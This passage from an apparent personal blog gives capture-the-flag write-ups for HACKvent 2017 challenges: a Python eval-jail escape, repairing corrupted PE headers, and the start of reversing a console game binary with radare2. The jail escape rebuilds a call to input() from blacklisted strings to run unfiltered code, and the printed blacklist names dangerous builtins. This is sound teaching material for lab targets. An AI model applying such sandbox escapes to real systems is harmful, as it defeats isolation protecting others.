.'\r\n\r\nChallenge by pyth0n33. Have fun!\r\n\r\n\r\n\r\nThe flag is stored super secure in the function SANTA!\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; a = \r\n<\/pre>\n<p>We can input something to a variable <code>a<\/code> and the flag seems to be stored in a function called <code<SANTA<\/code>.<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; a = SANTA()\r\nname 'santa' is not defined\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; a = \r\n<\/pre>\n<p>It took some time that I realized that the actual problem here is that the input seems to be lower-cased before being evaluated. That&#8217;s why the super secure function <code>SANTA<\/code> is defined in upper case. When entering <code>SANTA<\/code> the input is converted to lower-case <code>santa<\/code>, which is not defined.<\/p>\n<p>Maybe we can use <code>eval<\/code> in combination with <code>upper<\/code>:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; a = eval(&amp;amp;amp;amp;quot;santa()&amp;amp;amp;amp;quot;.upper())\r\nDenied\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; a = \r\n<\/pre>\n<p><code>Denied<\/code>!? Seems like there has been implemented some kind of blacklist. After trying around a little bit I stumbled upon the following:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; a = denied\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; a = print(a)\r\n&#x5B;'import', 'upper', 'lower', 'open', 'exit', 'compile', 'chr', '__import__', 'object', 'assert', '__builtins__', 'exec', 'pper', 'per']\r\n<\/pre>\n<p>The string-array <code>denied<\/code> seems to be the blacklist.<\/p>\n<p>There are also single-characters which are blacklisted:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; a = x\r\nDenied\r\n<\/pre>\n<p>I identified the following characters as being accepted:<\/p>\n<pre>a, c, d, e, i, l, n, o, p, r, s, t, v<\/pre>\n<p>After trying out different ways to call the <code>SANTA<\/code> function I decided to focus on the <code>denied<\/code> array looking for some useful function:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; a = denied\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; a = print(a)\r\n&#x5B;'import', 'upper', 'lower', 'open', 'exit', 'compile', 'chr', '__import__', 'object', 'assert', '__builtins__', 'exec', 'pper', 'per']\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; a = print(eval(denied&#x5B;10]+&amp;amp;amp;amp;quot;.__dict__&amp;amp;amp;amp;quot;))\r\n{'all': , 'str': , 'eval': , 'Exception': , 'any': , 'exec': , 'input': , 'print': , 'repr': }\r\n<\/pre>\n<p>The builtin function <code>input<\/code> evaluates the input as python-code before returning. Thus we could evaluate unfiltered input.<\/p>\n<p>Unfortunately the <code>u<\/code> in <code>inp<u>u<\/u>t<\/code> is not an accepted character and thus our input would be blacklisted.<\/p>\n<p>Here again our very helpful <code>denied<\/code>-array comes into play again:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; a = eval(&amp;amp;amp;amp;quot;eval(&amp;amp;amp;amp;quot;+denied&#x5B;10]+&amp;amp;amp;amp;quot;.inp&amp;amp;amp;amp;quot;+denied&#x5B;1]&#x5B;0]+&amp;amp;amp;amp;quot;t())&amp;amp;amp;amp;quot;)\r\nprint(&amp;amp;amp;amp;quot;bfgxu&amp;amp;amp;amp;quot;)\r\nbfgxu\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; a = \r\n<\/pre>\n<p>Nice! We called the function <code>__builtins__.input()<\/code> by borrowing the <code>u<\/code> from the <code>denied<\/code>-element <code>upper<\/code>.<\/p>\n<p>Now we can evaluate unfiltered input:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; a = eval(&amp;amp;amp;amp;quot;eval(&amp;amp;amp;amp;quot;+denied&#x5B;10]+&amp;amp;amp;amp;quot;.inp&amp;amp;amp;amp;quot;+denied&#x5B;1]&#x5B;0]+&amp;amp;amp;amp;quot;t())&amp;amp;amp;amp;quot;)\r\nprint(SANTA())\r\nNo flag for you!\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; a = \r\n<\/pre>\n<p>Hm, no flag yet. After yet another trying-around I supposed that the function needs to be passed an argument:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; a = eval(&amp;amp;amp;amp;quot;eval(&amp;amp;amp;amp;quot;+denied&#x5B;10]+&amp;amp;amp;amp;quot;.inp&amp;amp;amp;amp;quot;+denied&#x5B;1]&#x5B;0]+&amp;amp;amp;amp;quot;t())&amp;amp;amp;amp;quot;)\r\nprint(SANTA(&amp;amp;amp;amp;quot;test&amp;amp;amp;amp;quot;))\r\nqt\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; a = \r\n<\/pre>\n<p>Let&#8217;s try something longer. The flag-syntax is always a good idea:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; a = eval(&amp;amp;amp;amp;quot;eval(&amp;amp;amp;amp;quot;+denied&#x5B;10]+&amp;amp;amp;amp;quot;.inp&amp;amp;amp;amp;quot;+denied&#x5B;1]&#x5B;0]+&amp;amp;amp;amp;quot;t())&amp;amp;amp;amp;quot;)\r\nprint(SANTA(&amp;amp;amp;amp;quot;HV17-xxxx-xxxx-xxxx-xxxx-xxxx&amp;amp;amp;amp;quot;))\r\n13371\u0001~%3.&amp;amp;amp;amp;lt;*3?z.\/7&amp;amp;amp;amp;gt;151x*&amp;amp;amp;amp;lt;0\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; a = \r\n<\/pre>\n<p><code>1337<\/code>? This cannot be a coincidence!?<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; a = eval(&amp;amp;amp;amp;quot;eval(&amp;amp;amp;amp;quot;+denied&#x5B;10]+&amp;amp;amp;amp;quot;.inp&amp;amp;amp;amp;quot;+denied&#x5B;1]&#x5B;0]+&amp;amp;amp;amp;quot;t())&amp;amp;amp;amp;quot;)\r\nprint(SANTA(&amp;amp;amp;amp;quot;13371337133713371337133713371&amp;amp;amp;amp;quot;))\r\nHV17-J41l-esc4-p3ed-w4zz-3asy\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; a = \r\n<\/pre>\n<p>Great! It seems that fhe flag was XOR-ed with <code>\"13371337...\"<\/code>. This encrypted flag is yet again XOR-ed with the input to the <code>SANTA<\/code>-function and then returned.<\/p>\n<p>The flag is <code><span class=\"spanFlag\">HV17-J41l-esc4-p3ed-w4zz-3asy<\/span><\/code>.<\/p>\n<hr \/>\n<h1 id=\"day17\">Day 17: Portable NotExecutable<\/h1>\n<table style=\"background-color:#eeeeee;\">\n<tr>\n<td width=\"90\">\n<center><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\" class=\"alignnone size-full wp-image-188\" \/><br \/>\n<\/center><\/td>\n<td><span style=\"color:#666666; font-size:smaller;\">Author: HaRdLoCk<\/span><br \/>\n<i><\/i><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" style=\"padding:5px 20px 5px 20px;\">here is your flag.<\/p>\n<p>but wait &#8211; its not running, because it uses the new Portable NotExecutable Format. this runs only on Santas PC. can you fix that?<\/p>\n<p><span style=\"color:#888888;text-decoration:underline;\">get the flag here<\/span><\/p>\n<p>Hint #1: IMAGE_FILE_HEADER and its friends<br \/>\nHint #2: No reversing\/bruteforcing needed. Just make it run &#8230;<br \/>\nHint #3: take the hint in the file serious, the black window should not appear (wine and cmd users might not see it &#8211; change OS or how you run the exe) <\/td>\n<\/tr>\n<\/table>\n<p>At first I started up kali-linux and began to analyze the file:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ unzip Portable_NotExecutable.zip\r\nArchive:  Portable_NotExecutable.zip\r\n  inflating: Portable_NotExecutable.exe  \r\nuser@host:~$ file Portable_NotExecutable.exe\r\nPortable_NotExecutable.exe: data\r\nuser@host:~$ binwalk Portable_NotExecutable.exe\r\n\r\nDECIMAL       HEXADECIMAL     DESCRIPTION\r\n--------------------------------------------------------------------------------\r\n\r\nuser@host:~$ strings Portable_NotExecutable.exe\r\nWin32 only!\r\nHACKvent\r\nCODE\r\n`DATA\r\n.idata\r\n.rsrc\r\nQZ^&amp;amp;amp;amp;amp;\r\n5@0@\r\nhz0@\r\nhS0@\r\nhD0@\r\nj\r\n5&amp;amp;amp;amp;amp;2@\r\n5&amp;amp;amp;amp;amp;2@\r\n5&amp;amp;amp;amp;amp;2@\r\nh62@\r\nh62@\r\n5*2@\r\n5.2@\r\nh:3@\r\n522@\r\nhJ3@\r\n5.2@\r\n5*2@\r\nHV17\r\nh&amp;amp;amp;amp;quot;1@\r\nh21@\r\n% A@\r\n%$A@\r\n%(A@\r\n%,A@\r\n%0A@\r\nHACKvent_Class\r\nHACKvent 2017 - Portable NotExecutable\r\nEDIT\r\nBUTTON\r\nFlag\r\nExit\r\nTahoma\r\n7pQmc1Hnw4j0fEubLT3etr8BJVN2KDGSolO5IhX9WsyYdAFRzPkxCqg6ZUivaM\r\nKERNEL32.dll\r\nGDI32.dll\r\nUSER32.dll\r\nGetModuleFileNameA\r\nCloseHandle\r\nExitProcess\r\nCreateFileMappingA\r\nMapViewOfFile\r\nRtlMoveMemory\r\nCreateFileA\r\nGetModuleHandleA\r\nCreateFontA\r\nGetMessageA\r\nGetDesktopWindow\r\nTranslateMessage\r\nShowWindow\r\nGetWindowRect\r\nDispatchMessageA\r\nDefWindowProcA\r\nPostQuitMessage\r\nCreateWindowExA\r\nMoveWindow\r\nRegisterClassExA\r\nSendDlgItemMessageA\r\nSetFocus\r\nLoadIconA\r\nLoadCursorA\r\nUpdateWindow\r\nIsDialogMessageA\r\nDZP#\r\n;MG$$$)\r\n)1.A\r\n+Zl}G\r\n?Vc\t?Vb\r\n3&amp;amp;amp;amp;gt;64r\r\n2g|+\r\nHV17-GasR-zkb3-cVd9-KdAP-txi is almost good. but why the black window?\r\n<\/pre>\n<p><code>file<\/code> does not recognize any known file-structure. According to the challenge description the file uses the new <code>Portable NotExecutable Format<\/code>, which obviously has not been added to the official file-formats yet \ud83d\ude09<\/p>\n<p>Nevertheless we have got a hint using strings:<\/p>\n<pre>HV17-GasR-zkb3-cVd9-KdAP-txi is almost good. but why the black window?<\/pre>\n<p>After comparing the file with some other ordinary PE-files in a hexeditor I changed my mind and decided to further analyze the file on windows.<\/p>\n<p>Just executing the file raises an error. Considering the hints we have to patch the file to make it run.<\/p>\n<p>In order to understand what needs to be patched I used PEview, which is a good tool to view PE-files on windows: http:\/\/wjradburn.com\/software\/.<\/p>\n<p>For example opening <code>calc.exe<\/code> looks like the following:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe00.png\" alt=\"\" width=\"1278\" height=\"705\" class=\"alignnone size-full wp-image-292\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe00.png 1278w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe00-300x165.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe00-768x424.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe00-1024x565.png 1024w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>On the left side we can see all headers and sections within the PE-file. If we select a header we can view the single fields and values on the right side.<\/p>\n<p>Let&#8217;s have a look at our NotExecutable file:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe01.png\" alt=\"\" width=\"1121\" height=\"601\" class=\"alignnone size-full wp-image-293\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe01.png 1121w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe01-300x161.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe01-768x412.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe01-1024x549.png 1024w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>The first thing to notice is that there is no valid DOS signature and the <code>PE<\/code> magic signature was changed to <code>PNE<\/code>.<\/p>\n<p>The byte at offset <code>0x01<\/code> should be edited from <code>0x53<\/code> to <code>0x5A<\/code> (also see screenshot from <code>calc.exe<\/code>).<br \/>\nThe bytes at offset <code>0x41<\/code> and <code>0x42<\/code> should be edited from <code>0x4E<\/code> to <code>0x45<\/code> and from <code>0x45<\/code> to <code>0x00<\/code> (also see screenshot from <code>calc.exe<\/code>).<\/p>\n<pre>\r\n[<b>0x01: <span style=\"color:#ff0000;\">0x53<\/span> -> <span style=\"color:#00ff00;\">0x5A<\/span><\/b> Signature: IMAGE_DOS_SIGNATURE MZ]\r\n[<b>0x41: <span style=\"color:#ff0000;\">0x4E<\/span> -> <span style=\"color:#00ff00;\">0x45<\/span><\/b> Signature: IMAGE_NT_SIGNATURE PE]\r\n[<b>0x42: <span style=\"color:#ff0000;\">0x45<\/span> -> <span style=\"color:#00ff00;\">0x00<\/span><\/b> Signature: IMAGE_NT_SIGNATURE PE]\r\n<\/pre>\n<p>I patched the file and reopened it in PEView:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe02.png\" alt=\"\" width=\"1121\" height=\"601\" class=\"alignnone size-full wp-image-294\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe02.png 1121w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe02-300x161.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe02-768x412.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe02-1024x549.png 1024w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>Looks better. Now PEView detects a valid DOS header. Let&#8217;s have a closer look at the header fields:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe03.png\" alt=\"\" width=\"1121\" height=\"601\" class=\"alignnone size-full wp-image-295\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe03.png 1121w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe03-300x161.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe03-768x412.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe03-1024x549.png 1024w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>Nothing suspicious so far until the last field <code>Offset to New EXE Header<\/code>. This field indicates where the actual EXE header begins. But the value is <code>0x20<\/code> !? As we can see at the offset in the column <code>pFile<\/code> the DOS header is even longer. Comparing it to other PE-files I decided to patch this value from <code>0x20<\/code> to <code>0x40<\/code>.<\/p>\n<pre>\r\n[<b>0x3C: <span style=\"color:#ff0000;\">0x20<\/span> -> <span style=\"color:#00ff00;\">0x40<\/span><\/b> Offset to New EXE Header: 0x40]\r\n<\/pre>\n<p>And yet again reopened the file in PEView:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe04.png\" alt=\"\" width=\"1121\" height=\"601\" class=\"alignnone size-full wp-image-296\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe04.png 1121w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe04-300x161.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe04-768x412.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe04-1024x549.png 1024w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>Looks even better now. PEView can parse the NT header and displays all sections. But there is still something suspicious: the 5th section after <code>.src<\/code> does not have a name. And after this no-named section header follows a <code>SECTION CODE<\/code>? And after this a section called <code>CE1@<\/code> something? There must be something else messed up.<\/p>\n<p>When viewing the hex-data we can clearly see 4 section names: <code>CODE<\/code>, <code>DATA<\/code>, <code>.idata<\/code> and <code>.rsrc<\/code>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe05.png\" alt=\"\" width=\"1121\" height=\"601\" class=\"alignnone size-full wp-image-297\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe05.png 1121w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe05-300x161.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe05-768x412.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe05-1024x549.png 1024w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>Why those other sections?<\/p>\n<p>Having a look at the <code>IMAGE_FILE_HEADER<\/code> something seems suspicious again:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe06.png\" alt=\"\" width=\"1121\" height=\"601\" class=\"alignnone size-full wp-image-298\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe06.png 1121w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe06-300x161.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe06-768x412.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe06-1024x549.png 1024w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>Number of sections 6? That seems not correct. Let&#8217;s patch this to 4.<\/p>\n<pre>\r\n[<b>0x46: <span style=\"color:#ff0000;\">0x06<\/span> -> <span style=\"color:#00ff00;\">0x04<\/span><\/b> Number of Sections: 4]\r\n<\/pre>\n<p>Yet again I patched the file and reopened it in PEView:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe07.png\" alt=\"\" width=\"1121\" height=\"601\" class=\"alignnone size-full wp-image-299\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe07.png 1121w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe07-300x161.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe07-768x412.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe07-1024x549.png 1024w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>That&#8217;s better! Now the sections are parsed correctly.<\/p>\n<p>Let&#8217;s give it a try and rerun the patched binary:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe08.png\" alt=\"\" width=\"1103\" height=\"639\" class=\"alignnone size-full wp-image-300\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe08.png 1103w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe08-300x174.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe08-768x445.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe08-1024x593.png 1024w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>After clicking on <code>Flag<\/code> a flag appears! Hm, but wait. It&#8217;s not the correct flag.<\/p>\n<p>And why is there a terminal in the background?<\/p>\n<p>That&#8217;s where our hint comes into play:<\/p>\n<pre>why the black window?<\/pre>\n<p>The executable seems to be run as a console-program. But it seems to be a GUI-program. Let&#8217;s review the headers in PEView:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe09.png\" alt=\"\" width=\"1183\" height=\"597\" class=\"alignnone size-full wp-image-301\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe09.png 1183w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe09-300x151.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe09-768x388.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe09-1024x517.png 1024w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>In the <code>IMAGE_OPTIONAL_HEADER<\/code> there is a field called Subsystem. This field indicates whether the binary is a console-program (CUI) or a GUI-program. The current value is <code>3 = IMAGE_SUBSYSTEM_WINDOWS_CUI<\/code>. Let&#8217;s change this:<\/p>\n<pre>\r\n[<b>0x9C: <span style=\"color:#ff0000;\">0x03<\/span> -> <span style=\"color:#00ff00;\">0x02<\/span><\/b> Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI]\r\n<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe10.png\" alt=\"\" width=\"1183\" height=\"597\" class=\"alignnone size-full wp-image-302\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe10.png 1183w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe10-300x151.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe10-768x388.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe10-1024x517.png 1024w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>And relaunch the program:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe11.png\" alt=\"\" width=\"489\" height=\"144\" class=\"alignnone size-full wp-image-303\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe11.png 489w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/pe11-300x88.png 300w\" sizes=\"(max-width: 489px) 100vw, 489px\" \/><\/p>\n<p>No black window anymore.. and another flag! This time the right one \ud83d\ude42<\/p>\n<p>The flag is <code><span class=\"spanFlag\">HV17-VIQn-oHcL-hVd9-KdAP-txiK<\/span><\/code>.<\/p>\n<hr \/>\n<h1 id=\"day18\">Day 18: I want to play a Game (Reloaded)<\/h1>\n<table style=\"background-color:#eeeeee;\">\n<tr>\n<td width=\"90\">\n<center><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/final_64.png\" alt=\"\" width=\"64\" height=\"64\" class=\"alignnone size-full wp-image-188\" \/><br \/>\n<\/center><\/td>\n<td><span style=\"color:#666666; font-size:smaller;\">Author: HaRdLoCk<\/span><br \/>\n<i><\/i><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" style=\"padding:5px 20px 5px 20px;\">Last year we played some funny games together &#8211; do you remember? ready for another round?<\/p>\n<p>download the game here and play until you find the flag.<\/p>\n<p><span style=\"color:#888888;text-decoration:underline;\">get the game<\/span><\/p>\n<p>Hint #1: follow the fake flag in the unsigned binary. this challenge needs RE<\/td>\n<\/tr>\n<\/table>\n<p>Running the game with a ps-emulator reveals a bonus flag. For the actual flag we have to do some RE:<\/p>\n<p>At first I mounted the ISO-image:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ mkdir \/media\/tmp\r\nuser@host:~$ mount BLES-HV17.iso \/media\/tmp\/\r\nmount: \/dev\/loop1 is write-protected, mounting read-only\r\nuser@host:~$ cd \/media\/tmp\/\r\nuser@host:\/media\/tmp$ ls -al\r\ntotal 61\r\ndr-xr-xr-x 1 root root  2048 Nov 15 21:09 .\r\ndrwxr-xr-x 1 root root    80 Dec 30 15:21 ..\r\n-r-xr-xr-x 1 root root 57234 Nov 15 21:04 ICON0.PNG\r\n-r-xr-xr-x 1 root root   916 Nov 15 21:08 PARAM.SFO\r\ndr-xr-xr-x 1 root root  2048 Nov 15 21:09 USRDIR\r\nuser@host:\/media\/tmp$ cd USERDIR\r\nuser@host:\/media\/tmp\/USERDIR$ ls -al\r\ntotal 1091\r\ndr-xr-xr-x 1 root root    2048 Nov 15 21:09 .\r\ndr-xr-xr-x 1 root root    2048 Nov 15 21:09 ..\r\n-r-xr-xr-x 1 root root 1017681 Nov 15 19:10 EBOOT.BIN\r\n-r-xr-xr-x 1 root root   94544 Nov 15 19:13 hackvent.self\r\nuser@host:\/media\/tmp\/USERDIR$ file *\r\nEBOOT.BIN:     ELF 64-bit MSB executable, 64-bit PowerPC or cisco 7500, version 1 (SYSV), statically linked, not stripped\r\nhackvent.self: data\r\n<\/pre>\n<p>The binary we have to analyze is the <code>EBOOT.BIN<\/code>. Let&#8217;s start up <code>radare2<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:\/media\/tmp\/USERDIR$ r2 EBOOT.BIN\r\nWarning: Cannot initialize dynamic strings\r\n&#x5B;0x10000000]&amp;amp;amp;amp;gt; aaaa\r\n&#x5B;Cannot find function 'entry0' at 0x10000000 entry0 (aa)\r\n&#x5B;x] Analyze all flags starting with sym. and entry0 (aa)\r\n&#x5B;x] Analyze len bytes of instructions for references (aar)\r\n&#x5B;x] Analyze function calls (aac)\r\n&#x5B;x] Emulate code to find computed references (aae)\r\n&#x5B;x] Analyze consecutive function (aat)\r\n&#x5B;aav: using from to 0x0 0xf8751)\r\nUsing vmin 0x10000 and vmax 0x10036130\r\naav: Cannot find section at 0x268442177\r\n&#x5B;x] Analyze value pointers (aav)\r\n&#x5B;can't find function prototype for sym..deregister_tm_clonesnctions (aan)\r\ncan't find function prototype for sym.._initialize\r\n...\r\n<\/pre>\n<p>Let&#8217;s see which functions exists:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n&#x5B;0x10000000]&amp;amp;amp;amp;gt; afl\r\n0x00010200    1 44           loc.._init\r\n0x00010230    1 24           sym..deregister_tm_clones\r\n0x00010290    1 28           sym..register_tm_clones\r\n0x000102f0    1 204          sym..__do_global_dtors_aux\r\n0x000103c0    1 112          sym..frame_dummy\r\n0x00010488    1 288          sym..__syscalls_init\r\n0x000105b8    1 48           sym.._initialize\r\n0x000105f8    1 208          sym..DrawBackground2D\r\n0x000106d8    1 804          sym..drawScene\r\n0x00010a08    3 188          sym..LoadTexture\r\n0x00010ad0    1 148  -&amp;amp;amp;amp;gt; 220  sym..main\r\n0x00010b78    1 72           loc.00010b78\r\n0x00010be0    1 64   -&amp;amp;amp;amp;gt; 116  sym..i_must_break_line\r\n0x00010c34    1 52           loc.00010c34\r\n0x00010d10    1 112          sym..ResetFont\r\n0x00010d90    4 868  -&amp;amp;amp;amp;gt; 812  sym..AddFontFromBitmapArray\r\n0x000111b8    1 596  -&amp;amp;amp;amp;gt; 788  sym..AddFontFromTTF\r\n0x00011514    2 12   -&amp;amp;amp;amp;gt; 192  loc.00011514\r\n0x00011560    1 44           sym..SetCurrentFont\r\n0x000115b0    1 40           sym..SetFontSize\r\n0x000115e8    1 16           sym..SetFontColor\r\n...\r\n<\/pre>\n<p>Ouch.. a lot of functions. After searching around for a while and having a look at some functions I came upon the <code>DrawString<\/code> function:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" 